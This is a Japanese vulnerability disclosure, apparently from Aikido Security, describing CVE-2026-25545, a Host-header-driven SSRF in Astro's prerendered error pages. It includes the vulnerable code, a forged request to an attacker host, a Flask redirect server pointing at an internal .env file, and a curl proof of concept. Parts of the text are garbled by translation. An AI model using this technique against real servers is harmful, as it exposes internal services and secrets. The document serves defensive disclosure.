Astroは、多くの大規模組織がウェブサイト開発を大幅に容易にするために採用しているJavaScriptフロントエンドおよびバックエンドフレームワークです。最近、当社のAikido の一つのエージェントが、このフレームワークの脆弱性 中程度の脆弱性 特定しました。これにより、攻撃者が直接アクセス可能なサーバーはすべて、サーバーサイドリクエストフォージェリ(SSRF)の被害を受ける危険性がありました。
現在では CVE-2026-25545私たちは直ちにAstroのメンテナに通知し、わずか数日で修正を得ることができました。バージョン astro@5.17.2, @astrojs/node@9.5.3 また、ベータ版も astro@6.0.0-beta.11 パッチが適用されている。
まとめ
サーバーサイドレンダリング(SSR)エラーと事前レンダリングされたカスタムエラーページ(例: 404.astro または 500.astro) は SSRF の脆弱性があります。もし ホスト: ヘッダーが攻撃者のサーバーに変更される /500.html 攻撃者のリクエストはサーバーから取得され、任意の内部URLへリダイレクトされる。このリダイレクトは実行され、応答が攻撃者に返される。
ファイアウォールやNATで保護されているローカルホストや内部ネットワーク上のサービスは、この方法でアクセス可能になる可能性があります。ホストされている内容によっては、壊滅的な結果を招く恐れがあります。
詳細
AIペネトレーションテストエージェントが調査中にこの問題を発見したため、この脆弱性詳細を解説しながらその思考プロセスを説明します。
Astroはページを「静的」と「サーバー」の2つのモードでレンダリングできます。シンプルなウェブサイトはサーバーを必要とせず、静的HTMLファイルとしてエクスポートできますが、他のサイトではサーバーサイドロジックが必要です。ページごとに必要なものを決定できます。
ホームページについては、常に同じ状態で、再ビルド時のみ変更されるHTMLファイルをプリレンダリングできます。代わりに、ビューカウンターのようにオンデマンドでレンダリングするには、サーバーサイドレンダリング(SSR)が必要です。
SSRを使用するには、出力構成オプションを 'サーバー' において astro.config.mjs:
export default defineConfig({
output: 'server'
})
興味深い例として、Astroのエラーページが挙げられます。どのルートでも404 Not Foundや 500 Internal Server Errorといったエラーを返すことが可能で、デフォルトのエラーページで美しく表示されます。
開発者として、あなたは作成できます カスタムエラーページ を用いて 404.astro または 500.astro効率化のため、可能な場合はHTMLファイルとして事前レンダリングされます。興味深いのは、サーバーが事前レンダリングされたレスポンスを返さなければならない点です。
これは少し変わった方法で実装されています: サーバーが取得する /404.html または /500.html それ自体から そしてその結果を返します。これについては以下で読むことができます。 renderError():
1async #renderError(...): Promise<Response> {
2 const errorRoutePath = `/${status}${this.#manifest.trailingSlash === 'always' ? '/' : ''}`;
3 const errorRouteData = matchRoute(errorRoutePath, this.#manifestData);
4 const url = new URL(request.url);
5 if (errorRouteData) {
6 if (errorRouteData.prerender) {
7 const maybeDotHtml = errorRouteData.route.endsWith(`/${status}`) ? '.html' : '';
8 const statusURL = new URL(
9 `${this.#baseWithoutTrailingSlash}/${status}${maybeDotHtml}`,
10 url, // base
11 );
12 if (statusURL.toString() !== request.url) {
13 const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);
14 const override = { status, removeContentEncodingHeaders: true };
15 return this.#mergeResponses(response, originalResponse, override);
16 }
17 }
18 ...
19}
20最も重要な行は プリレンダリング済みエラーページフェッチ(ステータスURL)カスタムエラールートが存在し、エラーページが プリレンダリング済み (13行目)。NodeJSでは、これは単に 別名 フェッチ() もし オプションの実験的エラーページホスト 設定されていません。ステータスURL は~から構築されている リクエストURL (4行目). このプロパティ 由来する req.headers.host別名 ホスト: HTTPのヘッダー
static createRequest(...) {
const providedHostname = req.headers.host ?? req.headers[':authority'];
const validated = App.validateForwardedHeaders(
getFirstForwardedValue(req.headers['x-forwarded-proto']),
getFirstForwardedValue(req.headers['x-forwarded-host']),
getFirstForwardedValue(req.headers['x-forwarded-port']),
allowedDomains,
);
const sanitizedProvidedHostname = App.sanitizeHost(
typeof providedHostname === 'string' ? providedHostname : undefined,
);
const hostname = validated.host ?? sanitizedProvidedHostname;
const hostnamePort = getHostnamePort(hostname, port);
url = new URL(`${protocol}://${hostnamePort}${req.url}`);
const request = new Request(url, options);
...
会社情報 ホスト: ヘッダーはクライアントが送信する任意の文字列であるため、常にユーザー制御下にあります。上記のロジックでわかるように、Astroは req.headers.host 構築する リクエストURLその後、内部のベースURLとなる フェッチ() 呼び出し。Astroは入力がサーバー自体を指すことを信頼し、実際に検証することはありません。これは ホストヘッダーインジェクションそして、それがここでSSRFを可能にしているのです。
GET /not-found HTTP/1.1
Host: attacker.tld
SSRF
私たちはここに来たのは サーバーサイドリクエストフォージェリしかし現時点ではあと一歩のところまで来ています。上記のリクエストは404エラーを発生させ、カスタム404ページが設定されている場合、当社の 攻撃者.tld ホストヘッダーはリクエストを送信するために使用されます http://attacker.tld/404.html .
これにより、すでに内部ホストの任意のURLを取得できるようになっています:
GET /404.html HTTP/1.1
host: attacker.tld
接続: keep-alive
accept: */*
accept-language: *
sec-fetch-mode: cors
user-agent: node
accept-encoding: gzip, deflate
おそらくそこには機密性の高いコンテンツはあまりないでしょう /404.html 任意のホストの。幸いなことに、 フェッチ() 自動的にリダイレクトを追跡するこの事実を利用できるのは、既にアストロサーバーに攻撃者のウェブサイトへのリクエストを送信できる状態にあるためだ。必要なのは リダイレクト from http://attacker.tld/404.html 特定の敏感なURLに対して http://127.0.0.1:8000/.env!
これを処理するための基本的なサーバーを設定します:
from flask import Flask,redirect
app = Flask(__name__)
@app.route("/404.html")
defエクスプロイト():
return redirect("http://127.0.0.1:8000/.env")
if __name__ == "__main__":
app.run()
次に、悪意のあるリクエストを再度送信します:
$ curl -i 'http://localhost:4321/not-found' -H 'Host: attacker.tld'
HTTP/1.1 404OK
content-type: text/plain
server:SimpleHTTP/0.6Python/3.12.3
Connection:keep-alive
Keep-Alive:timeout=5
Transfer-Encoding: chunked
SECRET=...
成功!攻撃者から404ページを取得し、リダイレクトされました 127.0.0.1:8000そしてその応答(ヘッダーと本文)が返された。これにより攻撃者は内部ネットワーク全体をマッピングし、サービスとやり取りして機密性の高い情報を読み取ることが可能となる。
要件
攻撃者がエクスプロイト 脆弱性 エクスプロイト するには、いくつかの要件があります:
- サーバーはサーバーサイドレンダリングモードである必要があります(そうでない場合は単なる静的HTMLです)。
- 会社情報
ホスト:ヘッダーは未検証である必要があります。一部のプロキシはこのヘッダーを検証するため、 - AstroサーバーのオリジンIPアドレスを直接接続するために使用します。
- ソースコード内で、開発者はカスタム設定を行ったに違いない。
404.astro,404.md、または500.astroファイル。これは大規模なアプリケーションではよくあることです。
図に示す通り、ルーティングされていないパスにアクセスして404エラーを利用するのが最も可能性の高い攻撃経路です。ただし、カスタムの内部サーバーエラーページが設定されている場合、偽装したHost:ヘッダーで任意のエラーを発生させることで、脆弱性 引き起こすことも可能です。
対策
脆弱性 、直ちにAstroのメンテナに報告したところ、わずか数日で修正が用意されました。
パッチ適用版は以下から開始します:
astro@5.17.2astro@6.0.0-beta.11@astrojs/node@9.5.3
彼らの修正 再考することだった プリレンダリング済みエラーページフェッチ() 以前はfetch()のラッパー関数であったfunctionが、現在では /404 または /500 ファイルはディスクから直接読み込まれ、それ以外のものは オプションの実験的エラーページホスト 明示的に設定され、どこから取得するかを指定します。Host:ヘッダーも同様に検証されるようになりました。 X-Forwarded-Host: 既に存在していた、攻撃者がいじくり回すのを防ぐために リクエストURL アストロで。
この脆弱性 、ユーザー入力に対する信頼に脆弱性 。 ホスト: ヘッダーは絶対に設定すべきではありません。デフォルトでリダイレクトするといった魔法のような機能は
フェッチ() また予期せぬ結果を招くこともあります。呼び出す関数が具体的に何を行うのか、そのドキュメントを読んで把握しておくことが望ましいです。
脆弱性 エクスプロイト 脆弱性 単純脆弱性 、テストも容易です。不正な形式のURLで存在しないページをリクエストするだけで脆弱性 。 ホスト: ヘッダー。ソースコードがなくても、アプリケーションを操作することでこうした攻撃が見つかる場合さえある。
Aikido ペンテスト可能である。しかし、このレポートからもわかるように、強力なコード分析(ホワイトボックス)機能も備えている。
タイムライン
- 2026年2月2日: Aikido セキュリティ部門が脆弱性を特定し脆弱性 動作するPoCを構築した
- 2026年2月3日:Astroメンテナへの責任ある開示
- 2026年2月3日:Astroメンテナーによる報告確認、修正作業開始
- 2026年2月4日:CVE-2026-25545がGitHubによって作成される
- 2026年2月11日修正はAstroの新バージョンでリリースされました(
astro@5.17.2,astro@6.0.0-beta.11、および@astrojs/node@9.5.3)

